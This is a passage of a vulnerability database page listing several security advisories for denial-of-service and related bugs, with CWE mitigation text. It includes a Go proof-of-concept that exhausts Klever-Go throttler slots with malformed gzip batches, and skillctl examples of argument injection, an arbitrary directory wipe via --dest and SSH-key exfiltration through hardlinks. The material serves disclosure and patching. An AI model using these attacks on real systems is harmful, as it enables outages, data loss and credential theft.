P2P peer or otherwise send P2P messages that reach a `MultiDataInterceptor` topic handler.\n2. The malformed message must pass the outer preprocessing checks before the decompression branch.\n3. No validator role, private key, capital, oracle condition, or timing condition is required.\n\n### Impact\n\nSuccessful exploitation causes a persistent per-node denial of P2P interceptor processing until node restart or throttler reset. The affected throttler is shared across transaction batch processing and trie-node sync processing, and header processing also uses the same throttler. The PoC demonstrates the concrete effect with a capacity-2 throttler: two malformed compressed batches leak both slots and the third message returns `system busy`. In the reviewed codebase, the production factory hardcodes the shared capacity to 100, so the same condition is expected after approximately 100 malformed compressed batches. The impact is reversible by restarting the node or otherwise resetting the throttler state.\n\n### Exploit Cost\n\nNo gas and no protocol capital are required. The practical cost is the network cost of sending malformed compressed P2P batch messages to the target node, approximately 100 messages for the hardcoded production global capacity.\n\n### Steps to Reproduce\n\n1. Place `poc_mdi_throttler_slot_leak_test.go` in an empty directory.\n2. Run the dependency commands listed in the PoC header.\n3. Run `GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go`.\n4. Observe that the first proof increments `StartProcessing()` without incrementing `EndProcessing()` after a gzip decompression error.\n5. Observe that the second proof uses a real capacity-2 throttler and reaches `system busy` on the third malformed compressed batch.\n\n### Proof-of-Concept Result\n\nRunning `GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go` after dependency setup produces the following output. The result confirms that malformed compressed batches leak throttler slots and cause a real throttler to reject later processing as `system busy`.\n\n```text\n=== RUN   TestPoC_MalformedCompressedBatchLeaksThrottlerSlot\nERROR[2026-04-28 13:35:04.398]   MultiDataInterceptor.ProcessReceivedMessage err = gzip: invalid header\n    poc_mdi_throttler_slot_leak_test.go:108: process_error=gzip: invalid header\n    poc_mdi_throttler_slot_leak_test.go:109: start_count_before=0\n    poc_mdi_throttler_slot_leak_test.go:110: start_count_after=1\n    poc_mdi_throttler_slot_leak_test.go:111: end_count_before=0\n    poc_mdi_throttler_slot_leak_test.go:112: end_count_after=0\nERROR[2026-04-28 13:35:04.398]   MultiDataInterceptor.ProcessReceivedMessage err = gzip: invalid header\nERROR[2026-04-28 13:35:04.398]   MultiDataInterceptor.ProcessReceivedMessage err = gzip: invalid header\n    poc_mdi_throttler_slot_leak_test.go:133: real_throttler_attempt_1=gzip: invalid header\n    poc_mdi_throttler_slot_leak_test.go:134: real_throttler_attempt_2=gzip: invalid header\n    poc_mdi_throttler_slot_leak_test.go:135: real_throttler_attempt_3=system busy\n--- PASS: TestPoC_MalformedCompressedBatchLeaksThrottlerSlot (0.00s)\nPASS\nok  \tcommand-line-arguments\t0.002s\n```\n\n### Suggested Fix\n\nEnsure that every path after `StartProcessing()` releases the throttler slot exactly once. A direct fix is to call `EndProcessing()` before returning from the decompression-error branch. A more robust fix is to use a guarded `defer` immediately after `StartProcessing()` and disable that defer only when the asynchronous goroutine takes ownership of releasing the slot.\n\n## Closing\n\nI am available to answer technical questions regarding these findings and to review proposed fixes prior to deployment. Please contact me through this disclosure thread or through the email address associated with this submission.\n\n## Proof-of-Concept Source\n\n### poc_mdi_throttler_slot_leak_test.go\n\n```go\npackage poc\n\n/*\nTarget contract   : Klever-Go P2P MultiDataInterceptor; no on-chain address\nVulnerability     : Denial of service through leaked global P2P throttler slots\nSeverity          : High\nHow to run        : GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go\nExpected output   : The test passes and logs that a real throttler returns system busy after malformed compressed batches\nDependencies      : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go mod tidy\n*/\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common\"\n\t\"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/process/interceptors\"\n\t\"github.com/klever-io/klever-go/core/throttler\"\n\t\"github.com/klever-io/klever-go/data/batch\"\n)\n\nfunc malformedCompressedBatchPayload(t *testing.T, marshalizer *mock.MarshalizerMock) []byte {\n\tt.Helper()\n\n\t// Build a syntactically valid batch envelope whose compressed stream is not valid gzip.\n\tpayload, err := marshalizer.Marshal(\u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tStream:       []byte(\"not-a-gzip-stream\"),\n\t\tDataSize:     1,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"marshal malformed compressed batch: %v\", err)\n\t}\n\n\treturn payload\n}\n\nfunc newMultiDataInterceptor(t *testing.T, marshalizer *mock.MarshalizerMock, throttlerArg interface {\n\tCanProcess() bool\n\tStartProcessing()\n\tEndProcessing()\n\tIsInterfaceNil() bool\n}) *interceptors.MultiDataInterceptor {\n\tt.Helper()\n\n\t// Use the production transaction topic and production MultiDataInterceptor constructor.\n\targ := interceptors.ArgMultiDataInterceptor{\n\t\tTopic:            common.TransactionTopic,\n\t\tMarshalizer:      marshalizer,\n\t\tDataFactory:      \u0026mock.InterceptedDataFactoryStub{},\n\t\tProcessor:        \u0026mock.InterceptorProcessorStub{},\n\t\tThrottler:        throttlerArg,\n\t\tAntifloodHandler: \u0026mock.P2PAntifloodHandlerStub{},\n\t\tWhiteListRequest: \u0026mock.WhiteListHandlerStub{},\n\t\tCurrentPeerID:    core.PeerID(\"local-peer\"),\n\t}\n\n\tmdi, err := interceptors.NewMultiDataInterceptor(arg)\n\tif err != nil {\n\t\tt.Fatalf(\"construct MultiDataInterceptor: %v\", err)\n\t}\n\n\treturn mdi\n}\n\nfunc malformedP2PBatchMessage(payload []byte, sequence int) *mock.P2PMessageMock {\n\t// Build a P2P message that passes outer message preprocessing and reaches decompression.\n\treturn \u0026mock.P2PMessageMock{\n\t\tDataField:  payload,\n\t\tPeerField:  core.PeerID(\"origin-peer\"),\n\t\tSeqNoField: []byte(fmt.Sprintf(\"seq-%d\", sequence)),\n\t}\n}\n\nfunc TestPoC_MalformedCompressedBatchLeaksThrottlerSlot(t *testing.T) {\n\tmarshalizer := \u0026mock.MarshalizerMock{}\n\n\t// First prove that a malformed compressed batch calls StartProcessing without a matching EndProcessing.\n\tcountingThrottler := \u0026mock.InterceptorThrottlerStub{\n\t\tCanProcessCalled: func() bool { return true },\n\t}\n\tmdiWithCountingThrottler := newMultiDataInterceptor(t, marshalizer, countingThrottler)\n\tpayload := malformedCompressedBatchPayload(t, marshalizer)\n\tmessage := malformedP2PBatchMessage(payload, 1)\n\n\tstartBefore := countingThrottler.StartProcessingCount()\n\tendBefore := countingThrottler.EndProcessingCount()\n\n\terr := mdiWithCountingThrottler.ProcessReceivedMessage(message, core.PeerID(\"connected-peer\"))\n\n\tstartAfter := countingThrottler.StartProcessingCount()\n\tendAfter := countingThrottler.EndProcessingCount()\n\n\t// The vulnerable branch returns the gzip error after StartProcessing but before EndProcessing.\n\tif err == nil {\n\t\tt.Fatalf(\"expected gzip error, got nil\")\n\t}\n\tif startAfter != startBefore+1 {\n\t\tt.Fatalf(\"expected one throttler start, before=%d after=%d\", startBefore, startAfter)\n\t}\n\tif endAfter != endBefore {\n\t\tt.Fatalf(\"expected no throttler end on decompress error, before=%d after=%d\", endBefore, endAfter)\n\t}\n\n\tt.Logf(\"process_error=%v\", err)\n\tt.Logf(\"start_count_before=%d\", startBefore)\n\tt.Logf(\"start_count_after=%d\", startAfter)\n\tt.Logf(\"end_count_before=%d\", endBefore)\n\tt.Logf(\"end_count_after=%d\", endAfter)\n\n\t// Then prove direct impact with a real capacity-2 throttler.\n\trealThrottler, err := throttler.NewNumGoRoutinesThrottler(2)\n\tif err != nil {\n\t\tt.Fatalf(\"construct real throttler: %v\", err)\n\t}\n\tmdiWithRealThrottler := newMultiDataInterceptor(t, marshalizer, realThrottler)\n\n\terr1 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 2), core.PeerID(\"connected-peer\"))\n\terr2 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 3), core.PeerID(\"connected-peer\"))\n\terr3 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 4), core.PeerID(\"connected-peer\"))\n\n\t// The third attempt is rejected as system busy because leaked slots were not released.\n\tif err1 == nil || err2 == nil {\n\t\tt.Fatalf(\"expected first two malformed attempts to return gzip errors, got err1=%v err2=%v\", err1, err2)\n\t}\n\tif !errors.Is(err3, common.ErrSystemBusy) {\n\t\tt.Fatalf(\"expected third attempt to hit system busy, got %v\", err3)\n\t}\n\n\tt.Logf(\"real_throttler_attempt_1=%v\", err1)\n\tt.Logf(\"real_throttler_attempt_2=%v\", err2)\n\tt.Logf(\"real_throttler_attempt_3=%v\", err3)\n}\n```",
  "id": "GHSA-74m6-4hjp-7226",
  "modified": "2026-06-04T17:40:51Z",
  "published": "2026-06-04T17:40:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-74m6-4hjp-7226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever-Go P2P MultiDataInterceptor leaks global throttler slots on malformed compressed batches (DoS)"
}

GHSA-74P5-63HF-RHF9

Vulnerability from github – Published: 2023-05-15 12:30 – Updated: 2026-06-01 15:30
VLAI
Details

Uncontrolled Resource Consumption in SICK FTMg AIR FLOW SENSOR with Partnumbers 1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows an unprivileged remote attacker to influence the availability of the webserver by invocing several open file requests via the REST interface.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-23447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-15T11:15:09Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled Resource Consumption in SICK FTMg AIR FLOW SENSOR with Partnumbers 1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows an unprivileged\nremote attacker to influence the availability of the webserver by invocing several open file requests via\nthe REST interface.",
  "id": "GHSA-74p5-63hf-rhf9",
  "modified": "2026-06-01T15:30:31Z",
  "published": "2023-05-15T12:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23447"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.json"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.pdf"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-74P7-6H78-GW8P

Vulnerability from github – Published: 2026-06-22 22:45 – Updated: 2026-06-22 22:45
VLAI
Summary
skillctl: argument injection, path traversal in --dest, FIFO/device DoS, hardlink exfiltration, and commit-trailer forgery
Details

Impact

Following the path-safety patches in GHSA-wx3m-whqv-xv47 (v0.1.2), a comprehensive multi-angle audit surfaced five further vulnerabilities, now patched in v0.1.3:

  1. source_sha argument injection in git ls-tree (CRITICAL). InstalledSkill.source_sha deserialized from .skills.toml (committed, PR-mergeable) flowed unvalidated into git ls-tree -r -z <refspec> -- <path>. Because the refspec sits before --, an attacker who slipped a malicious .skills.toml into a PR could set source_sha = "--name-only" / --abbrev=0 / --output=… and corrupt the diff classifier (which drives pull / push destructive decisions), or forge a divergence state to trick push --on-divergence overwrite into clobbering the wrong content.
  2. FIFO / device / socket denial-of-service in copy_dir_all (CRITICAL). The file-type branch only checked is_dir() / is_symlink(); a FIFO inside a skill folder fell through to fs::copy, which blocks indefinitely waiting for a writer. A character device like /dev/zero would read until OOM. Reachable on skillctl add against any adversarial library.
  3. add --dest arbitrary-directory wipe in agent mode (HIGH). --dest accepted absolute paths and .. traversal without validation, so a single invocation skillctl add --dest /Users/victim/.ssh --on-conflict overwrite --skill <maliciously-named> would remove_dir_all arbitrary directories — no .skills.toml round-trip required. Reachable in any non-interactive / agent-driven workflow where flag values may be attacker-supplied.
  4. Commit-message trailer forgery via skill names (HIGH). Skill names were spliced verbatim into git commit -m "update skill: <name>" and into the commit.message field of --json output. A skill named foo\nCo-Authored-By: evil@x produced a forged commit trailer that downstream tooling (Linear, GitHub commit-bot, release-notes scrapers) treats as real authorship metadata.
  5. Hardlink exfiltration via the round-trip (HIGH). fs::symlink_metadata reports a regular file for hardlinks (shared inode), and fs::copy reads the target content. An untrusted agent writing <project>/my-skill/data as a hardlink to ~/.ssh/id_rsa would have shipped the SSH key content to the (possibly public) library on the next skillctl push or detect.

Patches

Fixed in v0.1.3:

  • InstalledSkill::validate rejects any source_sha that isn't 40–64 hex characters.
  • fs_util::copy_dir_all only allows regular files and directories; FIFO / socket / device / other special files are rejected with AppError::Config.
  • commands::add::resolve_destination rejects .. unconditionally and rejects absolute paths in non-interactive / --json mode.
  • New src/sanitize.rs module: validate_identifier (strict, no control bytes / newlines / ESC, used for skill name + individual tags) and validate_message_safe (lenient, allows \n + \t, rejects \r + DEL + C0/C1 controls, used for description and --message). Wired at the skill::discover and read_tags boundaries so poisoned skills are dropped silently and poisoned descriptions/tags are stripped from otherwise-valid skills.
  • fs_util::copy_dir_all checks metadata.nlink() > 1 on regular files (Unix) and refuses hardlinked content.

All checks are lexical or single-syscall (symlink_metadata, metadata). No canonicalize, no TOCTOU windows. 23 new unit + integration tests cover each rejection class; cargo test: 95 pass; clippy clean; cargo audit clean.

Workarounds

Upgrade to v0.1.3. Pre-patch mitigations are awkward but possible: - Audit every .skills.toml source_sha field before running skillctl pull / push / detect. - Audit library content for FIFO / device files and hardlinks before running skillctl add. - Never invoke skillctl add with attacker-controllable --dest values in agent / CI contexts. - Never use --message with attacker-controlled content.

Credit

The findings were surfaced by a maintainer-led multi-angle audit (6 parallel sub-agents, one per threat-model dimension) following the firebaguette audit that motivated v0.1.2. The methodology (cross-agent convergence to identify the most exploitable items) is documented in the project's internal decisions log; the strongest signal was the four-of-six independent convergence on the source_sha vector.

Resources

  • Fix commit: 28dfce3
  • Release: https://github.com/umanio-agency/skillctl/releases/tag/v0.1.3
  • Prior advisory (path-safety + symlinks): GHSA-wx3m-whqv-xv47
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "skillctl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-400",
      "CWE-59",
      "CWE-88",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T22:45:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Impact\n\nFollowing the path-safety patches in [GHSA-wx3m-whqv-xv47](https://github.com/umanio-agency/skillctl/security/advisories/GHSA-wx3m-whqv-xv47) (v0.1.2), a comprehensive multi-angle audit surfaced five further vulnerabilities, now patched in v0.1.3:\n\n1. **`source_sha` argument injection in `git ls-tree` (CRITICAL).** `InstalledSkill.source_sha` deserialized from `.skills.toml` (committed, PR-mergeable) flowed unvalidated into `git ls-tree -r -z \u003crefspec\u003e -- \u003cpath\u003e`. Because the refspec sits before `--`, an attacker who slipped a malicious `.skills.toml` into a PR could set `source_sha = \"--name-only\"` / `--abbrev=0` / `--output=\u2026` and corrupt the diff classifier (which drives `pull` / `push` destructive decisions), or forge a divergence state to trick `push --on-divergence overwrite` into clobbering the wrong content.\n2. **FIFO / device / socket denial-of-service in `copy_dir_all` (CRITICAL).** The file-type branch only checked `is_dir()` / `is_symlink()`; a FIFO inside a skill folder fell through to `fs::copy`, which blocks indefinitely waiting for a writer. A character device like `/dev/zero` would read until OOM. Reachable on `skillctl add` against any adversarial library.\n3. **`add --dest` arbitrary-directory wipe in agent mode (HIGH).** `--dest` accepted absolute paths and `..` traversal without validation, so a single invocation `skillctl add --dest /Users/victim/.ssh --on-conflict overwrite --skill \u003cmaliciously-named\u003e` would `remove_dir_all` arbitrary directories \u2014 no `.skills.toml` round-trip required. Reachable in any non-interactive / agent-driven workflow where flag values may be attacker-supplied.\n4. **Commit-message trailer forgery via skill names (HIGH).** Skill names were spliced verbatim into `git commit -m \"update skill: \u003cname\u003e\"` and into the `commit.message` field of `--json` output. A skill named `foo\\nCo-Authored-By: evil@x` produced a forged commit trailer that downstream tooling (Linear, GitHub commit-bot, release-notes scrapers) treats as real authorship metadata.\n5. **Hardlink exfiltration via the round-trip (HIGH).** `fs::symlink_metadata` reports a regular file for hardlinks (shared inode), and `fs::copy` reads the target content. An untrusted agent writing `\u003cproject\u003e/my-skill/data` as a hardlink to `~/.ssh/id_rsa` would have shipped the SSH key content to the (possibly public) library on the next `skillctl push` or `detect`.\n\n## Patches\n\nFixed in [v0.1.3](https://github.com/umanio-agency/skillctl/releases/tag/v0.1.3):\n\n- `InstalledSkill::validate` rejects any `source_sha` that isn\u0027t 40\u201364 hex characters.\n- `fs_util::copy_dir_all` only allows regular files and directories; FIFO / socket / device / other special files are rejected with `AppError::Config`.\n- `commands::add::resolve_destination` rejects `..` unconditionally and rejects absolute paths in non-interactive / `--json` mode.\n- New `src/sanitize.rs` module: `validate_identifier` (strict, no control bytes / newlines / ESC, used for skill `name` + individual `tags`) and `validate_message_safe` (lenient, allows `\\n` + `\\t`, rejects `\\r` + DEL + C0/C1 controls, used for `description` and `--message`). Wired at the `skill::discover` and `read_tags` boundaries so poisoned skills are dropped silently and poisoned descriptions/tags are stripped from otherwise-valid skills.\n- `fs_util::copy_dir_all` checks `metadata.nlink() \u003e 1` on regular files (Unix) and refuses hardlinked content.\n\nAll checks are lexical or single-syscall (`symlink_metadata`, `metadata`). No `canonicalize`, no TOCTOU windows. 23 new unit + integration tests cover each rejection class; `cargo test`: 95 pass; clippy clean; `cargo audit` clean.\n\n## Workarounds\n\nUpgrade to v0.1.3. Pre-patch mitigations are awkward but possible:\n- Audit every `.skills.toml` `source_sha` field before running `skillctl pull` / `push` / `detect`.\n- Audit library content for FIFO / device files and hardlinks before running `skillctl add`.\n- Never invoke `skillctl add` with attacker-controllable `--dest` values in agent / CI contexts.\n- Never use `--message` with attacker-controlled content.\n\n## Credit\n\nThe findings were surfaced by a maintainer-led multi-angle audit (6 parallel sub-agents, one per threat-model dimension) following the firebaguette audit that motivated v0.1.2. The methodology (cross-agent convergence to identify the most exploitable items) is documented in the project\u0027s internal decisions log; the strongest signal was the four-of-six independent convergence on the `source_sha` vector.\n\n## Resources\n\n- Fix commit: [28dfce3](https://github.com/umanio-agency/skillctl/commit/28dfce3)\n- Release: https://github.com/umanio-agency/skillctl/releases/tag/v0.1.3\n- Prior advisory (path-safety + symlinks): [GHSA-wx3m-whqv-xv47](https://github.com/umanio-agency/skillctl/security/advisories/GHSA-wx3m-whqv-xv47)",
  "id": "GHSA-74p7-6h78-gw8p",
  "modified": "2026-06-22T22:45:16Z",
  "published": "2026-06-22T22:45:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/umanio-agency/skillctl/security/advisories/GHSA-74p7-6h78-gw8p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/umanio-agency/skillctl/security/advisories/GHSA-wx3m-whqv-xv47"
    },
    {
      "type": "WEB",
      "url": "https://github.com/umanio-agency/skillctl/commit/28dfce3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/umanio-agency/skillctl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/umanio-agency/skillctl/releases/tag/v0.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "skillctl: argument injection, path traversal in --dest, FIFO/device DoS, hardlink exfiltration, and commit-trailer forgery"
}

GHSA-74XJ-WH4W-VQXC

Vulnerability from github – Published: 2026-07-15 22:53 – Updated: 2026-07-15 22:53
VLAI
Summary
dd-trace-java: Improper parsing of W3C baggage headers may lead to DoS
Details

Impact

Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.

Patches

This is resolved in version 1.62.0 and later of the dd-trace-java library.

Workarounds

If users cannot upgrade immediately: 1. Disable baggage extraction by removing baggage from DD_TRACE_PROPAGATION_STYLE (or DD_TRACE_PROPAGATION_STYLE_EXTRACT if set independently). 2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache LimitRequestFieldSize, Nginx large_client_header_buffers, Envoy max_request_headers_kb).

Resources

Related upstream advisories: opentelemetry-go GHSA-mh2q-q3fh-2475 opentelemetry-dotnet GHSA-g94r-2vxg-569j

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.datadoghq:dd-java-agent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.62.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T22:53:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nDatadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.\n\n\n### Patches\nThis is resolved in version 1.62.0 and later of the `dd-trace-java` library.\n\n### Workarounds\nIf users cannot upgrade immediately:\n1. Disable `baggage` extraction by removing `baggage` from `DD_TRACE_PROPAGATION_STYLE` (or `DD_TRACE_PROPAGATION_STYLE_EXTRACT` if set independently).\n2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache `LimitRequestFieldSize`, Nginx `large_client_header_buffers`, Envoy `max_request_headers_kb`).\n\n\n### Resources\nRelated upstream advisories:\n[opentelemetry-go GHSA-mh2q-q3fh-2475](https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475)\n[opentelemetry-dotnet GHSA-g94r-2vxg-569j](https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-g94r-2vxg-569j)",
  "id": "GHSA-74xj-wh4w-vqxc",
  "modified": "2026-07-15T22:53:16Z",
  "published": "2026-07-15T22:53:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/DataDog/dd-trace-java/security/advisories/GHSA-74xj-wh4w-vqxc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/DataDog/dd-trace-java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "dd-trace-java: Improper parsing of W3C baggage headers may lead to DoS"
}

GHSA-752C-24PX-69M9

Vulnerability from github – Published: 2023-04-20 09:30 – Updated: 2026-02-23 09:31
VLAI
Details

User-controlled operations could have allowed Denial of Service in M-Files Server before 23.4.12528.1

due to uncontrolled memory consumption for a scheduled job.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-0384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-20T09:15:08Z",
    "severity": "HIGH"
  },
  "details": "User-controlled operations could have allowed Denial of Service in M-Files Server before 23.4.12528.1\n\n due to uncontrolled memory consumption for a scheduled job.",
  "id": "GHSA-752c-24px-69m9",
  "modified": "2026-02-23T09:31:17Z",
  "published": "2023-04-20T09:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0384"
    },
    {
      "type": "WEB",
      "url": "https://empower.m-files.com/security-advisories/CVE-2023-0384"
    },
    {
      "type": "WEB",
      "url": "https://product.m-files.com/security-advisories/cve-2023-0384"
    },
    {
      "type": "WEB",
      "url": "https://www.m-files.com/about/trust-center/security-advisories/cve-2023-0384"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list